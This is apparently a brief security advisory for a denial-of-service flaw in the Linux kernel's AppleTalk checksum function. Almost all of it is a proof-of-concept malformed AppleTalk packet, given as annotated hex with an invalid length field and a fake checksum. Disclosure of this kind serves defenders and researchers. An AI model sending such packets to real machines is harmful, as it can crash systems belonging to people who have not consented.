Linux Kernel AppleTalk ATalk_Sum_SKB Function Denial Of Service Vulnerability

Linux Kernel AppleTalk ATalk_Sum_SKB Function Denial Of Service Vulnerability

The following proof-of-concept AppleTalk packet data is available:

{
# Ethernet header -----

XX XX XX XX XX XX # Destination MAC
00 00 00 00 00 00 # Source MAC
00 1D # Length

# LLC header -----

AA AA 03
08 00 07 80 9B # Appletalk

# Appletalk header -----

00 1B # Packet length (invalid)
00 01 # Fake checksum
00 00 00 00 # Destination and source networks
00 00 00 00 # Destination and source nodes and ports

# Payload -----

0C 0D 0E 0F 10 11 12 13
14
}